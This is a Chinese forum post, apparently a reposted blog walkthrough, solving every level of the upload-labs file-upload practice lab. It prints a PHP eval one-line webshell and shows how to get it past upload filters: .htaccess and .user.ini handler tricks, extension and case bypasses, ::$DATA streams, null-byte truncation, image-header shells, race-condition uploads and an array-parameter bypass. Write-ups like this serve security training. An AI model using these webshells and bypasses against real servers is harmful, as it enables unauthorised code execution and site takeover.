文件上传弊端靶场通关教程(全)

立聪堂德州十三局店  金牌会员 | 2024-9-1 16:15:48 | 来自手机 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 510|帖子 510|积分 1530

更多内容请查看borgeousのblog
情况搭建

我利用的是win7虚拟机+phpEnv搭建靶场情况,我们只必要将upload-labs的源码下载下来,并拖入到虚拟机对应的文件中,如下所示

并在网络配置下写入如下配置

根目录选中源码目录,点击生存,最后在自己本机上的host文件中加上xx.xx.xx.xx(虚拟机IP) upload.local,如下所示

如许我们的本机就能乐成的进行域名解析,我们就可以通过物理机上的浏览器进行访问虚拟机的网站

Pass-01

我们先上传一个php马,通过bp进行抓包,我们在脚本中写入<?php @eval($_POST['attack']);?>,生存为attack.php,进行上传

发现bp并没有抓到包,以是可以判定是前端验证,我们打开开发者工具,我们可以发现js代码

我们直接禁用js,重新上传,我们可以发现乐成上传,直接利用蚁剑连接,图像地址为http://upload.local/upload/attack.php,连接

Pass-02

同样的,先上传attack.php,看看是什么限制,这一看就是后端检测了,我们用bp抓包

将Content-Type改成png情势,发现上传乐成

最后蚁剑连接即可
Pass-03

同样上传attack.php,用bp抓包重发,发现这里又有前端验证,我们这里先禁用js,再进行上传attack.php,但是好像不管用了,于是我F12去看了看源码,发现并不是前端验证,以是我们尝试着将attack.php改成attack.php.png,再试着进行上传

发现可以乐成上传,我们用bp拦截,再进行测试,我们发现他给我们的提示信息好像和以前不一样了(这里肯定肯定要仔细)

这里是仅仅不允许上传这几个特定的后缀文件,而没说不能上传其他后缀的木马文件,好比phtml、php3、php5等等,我们这里试着改为phtml,看看能否上传乐成

乐成上传,我们再用蚁剑连接即可,这里还要注意一点,上传后服务器会给我们重命名,我们只必要在网页中新建标签页打开图片就能找到正确路径

Pass-04

方法一 上传.htaccess

同样先上传一个任意木马文件,然后抓包进行测试,经过我们的测试,这里并没有过滤.htaccess文件,我们可以先上传一个.htaccess文件,让服务器可以将png文件解析为我们的php文件实行,.htaccess文件内容如下
  1. SetHandler application/x-httpd-php
复制代码

接着上传一句话木马,如下所示

蚁剑连接,这里要注意的是将phpEnv的中心件改为Apache,并修改如下地方

方法二 代码审计

我们找到源代码

通过审计代码我们可以发现当我们上传1.php. .的时候可以绕过限制,如下所示

我们用蚁剑进行连接,乐成连接上

Pass-05

这里源代码没变,我们可以用第四关的方法二进行上传,这里不再加以赘述

这里还有一种方式,就是上传.user.ini文件,.user.ini的意思是所有的php文件自动包含某个文件,其相当于一个用户自界说的php.ini文件,php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理惩罚,从而导致 php 的文件解析弊端,想要引发解析弊端的三个条件为
  1. 服务器脚本语言为PHP  
  2. 服务器使用CGI/FastCGI模式  
  3. 上传目录下要有可执行的php文件
复制代码
我们将情况切换回nginx,在.user.ini中写入auto_prepend_file=attack.png,即把attack.png的东西全部包含在内里,我们上传两个文件,如下图所示


此时我们去看看readme.php下有没有包含我们写的木马

ok,本关乐成上传
Pass-06

查看源码,基本上所有的后缀名都给禁用了,但是没有大小写转换函数,以是我们可以利用大小写转换来进行绕过


蚁剑连接即可,如下所示

Pass-07

查看源码,没有利用删除空格函数trim,以是我们可以利用空格绕过,即在文件末端上传一个空格进入绕过

上传乐成,访问/upload/202407181054425865.php这个路径即可getshell

Pass-08

这一关没有效$file_name = deldot($file_name);//删除文件名末端的点函数来删除后面的点,以是我们思量利用点绕过

乐成绕过,地址为/upload/attack.php

Pass-09

这一关删除了函数$file_ext = str_ireplace(':DATA', '', $file_ext);//去除字符串:DATA,我们可以用字符串:DATA进行绕过
  1. 补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
复制代码
以是我们可以尝试进行文件流转化,乐成上传

路径如下/upload/202407181113425867.php,蚁剑访问

Pass-10

这一关利用. .进行绕过,这里我们补充一个知识,也能表明前面为什么利用. . 绕过可以乐成
  1. 补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
复制代码
以是这就是为什么中心要加一个空格,attack.php. .经过过滤后会变成attack.php.,可以乐成绕过对文件后缀名的限制

路径为/upload/attack.php.

乐成连接,getshell
Pass-11

经过抓包测试,发现利用双写绕过可以实现绕过


Pass-12

这题要用到的知识点是00截断,紧张针对的是白名单检测,在php<5.3.4的版本中,存储文件时处理惩罚文件名的函数认为0x00是停止符,于是在函数读到0x00时,会认为文件已经竣事
  1. 例如:我们上传 1.php%00.jpg 时,首先后缀名是合法的jpg格式,可以绕过前端的检测。上传到后端后,后端判断文件名后缀的函数会认为其是一个.jpg格式的文件,可以躲过白名单检测。但是在保存文件时,保存文件时处理文件名的函数在遇到%00字符认为这是终止符,于是丢弃后面的 .jpg,于是我们上传的 1.php%00.jpg 文件最终会被写入 1.php 文件中并存储在服务端。
复制代码
由于我的靶场情况版本高于5.3.4,以是这里不演示操纵乐成界面,只演示操纵步调,修改下面两个地方即可(针对GET型00截断,GET说的是其save_path是get传参的

Pass-13

这一关仍然是00截断,但是是POST传参,我们进行如下操纵

这里并不是没进行00截断,而是提前对%00进行了url解码,因为post不会像get那样提前对%00进行解码

Pass-14

第十四关让我们上传图片马到服务器,也就是说肯定会检测是不是真的为图片,而不是仅仅检测后缀名,这个时候我们就必要用到GIF89a进行伪造图片,如下所示

路径为/upload/8420240718134909.gif,我们采用文件包含的模式将这个gif文件包含进代码中,以当作php文件进行实行
以是我们的蚁剑连接路径为http://upload.local/include.php?file=upload/8420240718134909.gif

连接乐成
Pass-15

我们按照同样的方式进行操纵


Pass-16

继续上述操纵

路径为/upload/4920240718135933.gif

乐成
Pass-17

继续利用刚刚的方法

发现不行了,猜测大概是检测了Content-type,我们试着把Content-Type改了,如下所示

发现还是不太行,后来看了别人的解法才知道是二次渲染,我们拿大佬的gif进行上传,链接放这里了:文件上传之二次渲染(专用图).zip - 蓝奏云 (lanzoui.com)

这张图片的特点就是我们这里看是乱码,但是经过上传到服务器解析后得到的是一个可以打开的gif文件,对应的地址为/upload/31946.gif
Pass-18

这一关的提示就是让我们去代码审计,那我们先去审计代码

代码告诉我们我们上传的文件首先会进行白名单检测,假如属于gif、png、jpg中的一种,服务器就会对其重命名,否则就会删除,我们这个时候就可以利用条件竞争的方式,让服务器一直在上传和删除,最后总能上传乐成
我们将拦截到的包送入爆破模式

我们设置无穷空发payload

我们把线程数调大一点

同时我们写一个脚本来判断什么时候乐成上传了
  1. import requests
  2. url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/attack.php"
  3. while True:
  4.     html = requests.get(url)
  5.     if html.status_code == 200:
  6.         print("OK")
  7.         break
复制代码
然后我们开始条件竞争攻击,最后发现我们的目录下有attack.php,最后用蚁剑连接即可
Pass-19

同样是条件竞争,只不外是图片马情势的条件竞争,我们按照第18关的方法一样进行设置即可,同时记得给数据加上GIF89a头,同时利用文件包含的方式进行访问,这些在前面已经讲过,这里不再赘述
Pass-20

这一题我们首先查看源码,源码如下所示

显然这里既有白名单验证,又有黑名单验证,黑名单基本把所有后缀名给过滤了,但是有一个函数值得注意一下,就是move_uploaded_file函数,就是会忽略末端的/.,使得我们可以用php/.绕过对php的限制,因为它并不是php后缀,以是我们可以用以下的手法来进行绕过

路径为http://upload.local/upload/upload-19.php/.

Pass-21

首先我们对源代码进行分析,源代码如下
  1. $is_upload = false;
  2. $msg = null;
  3. if(!empty($_FILES['upload_file'])){
  4.     //检查MIME
  5.     $allow_type = array('image/jpeg','image/png','image/gif');
  6.     if(!in_array($_FILES['upload_file']['type'],$allow_type)){
  7.         $msg = "禁止上传该类型文件!";
  8.     }else{
  9.         //检查文件名
  10.         $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
  11.         if (!is_array($file)) {
  12.             $file = explode('.', strtolower($file));
  13.         }
  14.         $ext = end($file);
  15.         $allow_suffix = array('jpg','png','gif');
  16.         if (!in_array($ext, $allow_suffix)) {
  17.             $msg = "禁止上传该后缀文件!";
  18.         }else{
  19.             $file_name = reset($file) . '.' . $file[count($file) - 1];
  20.             $temp_file = $_FILES['upload_file']['tmp_name'];
  21.             $img_path = UPLOAD_PATH . '/' .$file_name;
  22.             if (move_uploaded_file($temp_file, $img_path)) {
  23.                 $msg = "文件上传成功!";
  24.                 $is_upload = true;
  25.             } else {
  26.                 $msg = "文件上传失败!";
  27.             }
  28.         }
  29.     }
  30. }else{
  31.     $msg = "请选择要上传的文件!";
  32. }
复制代码
我们来进行代码审计,拉一遍流程,首先利用empty函数看看upload_file是不是为空,不为空检查MIME头是不是符合,我们这里将MIME头修改一下

之后会对文件名进行检查,假如save_name为空,则把$_FILES['upload_file']['name']赋值给$file,反之则把$_POST['save_name']赋值给$file
接下来利用is_array判断$file是不是数组,假如不为数组,则把其转为数组
  1. explode(separator,string,limit)                  //函数把字符串打散为数组。
  2. separator         必需。规定在哪里分割字符串。
  3. string         必需。要分割的字符串。
  4. limit         可选。规定所返回的数组元素的数目。
复制代码
这里以.为分割进行分数组,同时把所有的字符转成小写,以这里的为例,就会有array[0]=upload-20,array[1]=jpg,然后再利用end()函数,end函数将指针指向最后一个元素并输出,即把jpg赋值给$ext,即$ext=jpg,然后去判断后缀名是不是合法的,是不是在白名单内的
  1. count()                   //计算数组中的单元数目,或对象中的属性个数
  2. end()                          //函数将内部指针指向数组中的最后一个元素,并输出。   
  3. reset()                     //输出数组中的当前元素和下一个元素的值,然后把数组的内部指针重置到数组中的第一个元素:
复制代码
最后将$file的第一个元素和$ext拼接起完整的路径
解题思绪

我们肯定是在数组上做文章,我们肯定不能让它利用explode函数对我们进行分割,假如让其进行分割的话,我们特定不能传进去.php后缀,以是我们就得自己把save_name整成数组情势,也就是分多块进行传输,我们不妨如许设计
  1. save_name[0]=attack.php
  2. save_name[2]=jpg
复制代码
如许我们的$ext=save_name[1]=jpg,乐成绕事后缀检测的代码段
由于reset()函数输出数组第一个,以是
  1. $file_name = reset($file) . '.' . $file[count($file) - 1];
  2. reset($file) = attack.php
  3. 由于count($file) = 2 //由于1为空,所以返回2,count只计算属性数
  4. 所以$file[count($file)-1]=$file[1]=null
  5. 所以$file_name = attack.php
  6. 因此成功绕过
复制代码

我们用蚁剑连接即可


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

立聪堂德州十三局店

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表